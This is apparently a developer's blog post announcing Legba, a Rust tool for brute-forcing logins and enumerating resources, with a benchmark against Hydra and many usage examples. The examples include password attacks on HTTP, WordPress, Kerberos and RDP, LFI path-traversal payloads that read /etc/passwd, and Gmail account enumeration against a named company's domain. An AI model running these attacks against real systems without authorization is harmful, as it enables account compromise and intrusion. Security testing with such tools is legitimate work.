Enumerate/Bruteforce/Attack All the Things! Presenting Legba


During the last few weeks I’ve been working on a new tool that started as a way for me to become more familiar with Rust and its tokio asynchronous runtime and then quickly turned into quite a comprehensive and efficient replacement for similar tools (thc-hydra, medusa, patator, etc). In this blog post I’m going to briefly present project Legba, the reasons behind its implementation and a few of the many possible use cases.

TL;DR

1
docker run -it evilsocket/legba:latest -h 

Don’t forget to RTFM.

Rust + Async FTW

When searching for authentication bruteforcing and wordlist attack tools, most of the times THC Hydra is presented as the de facto standard, with some minor alternatives that are either 1-to-1 copies of it, much slower Python implementations, or protocol specific implementations.

While studying Hydra source code, three main factors caught my attention:

  1. It’s using blocking sockets, meaning suboptimal scaling of I/O concurrent operations.
  2. It’s implemented in a non memory safe language.
  3. It does not support modern features such as CSRF token grabbing for HTTP requests, Kerberos Pre-Auth and more.

For these reasons (and because I was a bit bored after months of not coding anything) I decided to work on Legba, with the following objectives in mind:

  1. Use Rust which would not only make the tool blazing fast, but memory safe and efficient.
  2. Use an asynchronous runtime in order to get the best possible performance.
  3. Implement it as a generic framework that supports highly modular plugins in order to easily add new features without touching the core.

After some hours of coding, refactoring and optimizing I’ve come up with something that’s (in my opinion) pretty great. With an average runtime memory usage of less than 15MB, Legba beats Hydra in terms of efficiency by several orders of magnitude.

Here’s a benchmark of the two running some common plugins, both targeting the same test servers on localhost. The benchmark has been executed on a macOS laptop with an M1 Max CPU, using a wordlist of 1000 passwords with the correct one being on the last line. Legba was compiled in release mode, Hydra compiled and installed via brew formula.

Far from being an exhaustive benchmark, this table still gives a clear idea of how using an asynchronous runtime can drastically improve performances.

Test Name Hydra Tasks Hydra Time Legba Tasks Legba Time
HTTP basic auth 16 7.100s 10 1.560s (🚀 4.5x faster)
HTTP POST login (wordpress) 16 14.854s 10 5.045s (🚀 2.9x faster)
SSH 16 7m29.85s * 10 8.150s (🚀 55.1x faster)
MySQL 4 ** 9.819s 4 ** 2.542s (🚀 3.8x faster)
Microsoft SQL 16 7.609s 10 4.789s (🚀 1.5x faster)

* While this result would suggest a default delay between connection attempts used by Hydra. I’ve tried to study the source code to find such delay but to my knowledge there’s none. For some reason it’s simply very slow.
** For MySQL hydra automatically reduces the amount of tasks to 4, therefore legba’s concurrency level has been adjusted to 4 as well.

Note how, while using less concurrent tasks, Legba is faster and in most cases more memory efficient.

A Framework For Everything

After implementing the core framework and the first protocol plugins, I realized that the tool functionalities went beyond just attacking authentication mechanisms via bruteforcing and wordlist attacks. Any type of enumeration task that requires an efficient parallelism and network I/O would be a good fit for it. This resulted in an extensive list of modules covering both authentication and enumeration of resources. I’ll add here just a few use cases, I highly recommend you guys to check the project wiki for the documentation and a full list of features.

All the HTTP Things

The very first module I developed, of course, was the HTTP module, which quickly became a set of different submodules supporting all sorts of things, such as:

HTTP Basic Authentication

1
2
3
4
legba http.basic \
--username admin \
--password wordlists/passwords.txt \
--target http://localhost:8888/

HTTP Requests with NTLMv1 and NTLMv2 Authentication

1
2
3
4
5
6
legba http.ntlm2 \ # use http.ntlm1 for v1.0
--domain example.org \
--workstation client \
--username admin \
--password wordlists/passwords.txt \
--target https://localhost:8888/

HTTP Pages Enumeration

This was implemented to replace dirsearch.

1
2
3
4
5
legba http.enum \
--payloads data/pages.txt \
--target http://localhost:8888/ \
--http-enum-ext php \ # php is the default value for file extensions
--http-success-codes 200

Wordpress plugin discovery using interpolation syntax:

1
2
3
4
legba http.enum \
--payloads data/wordpress-plugins.txt \
--target http://localhost:8888/wp-content/plugins/{PAYLOAD}/readme.txt \
--http-success-codes 200

LFI vulnerability fuzzing:

1
2
3
4
legba http.enum \
--payloads data/lfi.txt \
--target http://localhost:8888/ \
--http-success-string "root:"

The data/lfi.txt would be something like:

1
2
3
4
5
?page=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
file?filename=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd
...
... and so on ...
...

Google Suite / GMail valid accounts enumeration (this is a pretty neat trick that I’ve recently found out about):

1
2
3
4
5
6
legba http.enum \
--payloads data/employees-names.txt \
--http-success-string "COMPASS" \
--http-success-codes 204 \
--quiet \
--target "https://mail.google.com/mail/gxlu?email={PAYLOAD}@broadcom.com"

Various web login pages

HTTP Post Request (Wordpress wp-login.php page):

1
2
3
4
5
6
7
legba http \
--username admin \
--password wordlists/passwords.txt \
--target http://localhost:8888/wp-login.php \
--http-method POST \
--http-success-codes 302 \ # wordpress redirects on successful login
--http-payload 'log={USERNAME}&pwd={PASSWORD}'

HTTP Post Request (Wordpress xmlrpc.php)

1
2
3
4
5
6
7
legba http \
--username admin \
--password wordlists/passwords.txt \
--target http://localhost:8888/xmlrpc.php \
--http-method POST \
--http-payload '<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>{USERNAME}</string></value></param><param><value><string>{PASSWORD}</string></value></param></params></methodCall>' \
--http-success-string 'isAdmin' # what string successful response will contain

Or using the @ syntax to load the payload from a file:

1
2
3
4
5
6
7
legba http \
--username admin \
--password wordlists/passwords.txt \
--target http://localhost:8888/xmlrpc.php \
--http-method POST \
--http-payload @xmlrpc-payload.xml \
--http-success-string 'isAdmin'

HTTP Post Request with CSRF Token grabbing:

1
2
3
4
5
6
7
8
legba http \
--username admin \
--password wordlists/passwords.txt \
--target http://localhost:8888/ \
--http-csrf-page http://localhost:8888/ \ # where to grab the CSRF token from, or empty if it's the same as --target
--http-csrf-regexp '<input type="hidden" name="(token)" value="([^\"]+)"' \ # regular expression to extract it
--http-method POST \
--http-payload 'user={USERNAME}&pass={PASSWORD}'

DNS Subdomain Enumeration

I wanted to write something faster and simpler than my XRay, therefore:

1
2
3
4
legba dns \
--payloads data/200k-dns.txt \
--target something.com \
--dns-resolvers "1.1.1.1" # comma separated list of DNS resolvers, do not pass to use the system resolver

TCP Port Scanning

Because why the hell not?! :D

Scan all TCP ports with a 300ms timeout:

1
2
3
legba tcp.ports \
--target something.com \
--timeout 300

Scan a custom range of ports with a 300ms timeout:

1
2
3
4
legba tcp.ports \
--target something.com \
--tcp-ports '80-10000' \
--timeout 300

Scan a custom list of ports with a 300ms timeout:

1
2
3
4
legba tcp.ports \
--target something.com \
--tcp-ports '21, 22, 80, 443, 8080' \
--timeout 300

Other Protocols

Kerberos 5 Pre-Auth (users enumeration and password authentication).

1
2
3
4
5
legba kerberos \
--target dc.example.org \
--username admin \
--password wordlists/passwords.txt \
--kerberos-realm example.org

Microsoft Remote Desktop

1
2
3
4
legba rdp \
--target localhost:3389 \
--username admin \
--password data/passwords.txt

The list goes on and on, at the time of writing (check the wiki for updates!) the list of supported features and protocols is: AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace), Cassandra/ScyllaDB, DNS subdomain enumeration, FTP, HTTP (basic authentication, NTLMv1, NTLMv2, multipart form, custom requests with CSRF support and files/folders enumeration), IMAP, Kerberos pre-authentication and user enumeration, LDAP, MongoDB, Microsoft SQL, MySQL, Oracle, PostgreSQL, POP3, RDP, Redis, SSH / SFTP, SMTP, STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ), TCP port scanning, Telnet, VNC.

Fin

As usual, the tool is released under the GPL3 license and all contributions are more than welcome. Enjoy ^_^

Become a Patron!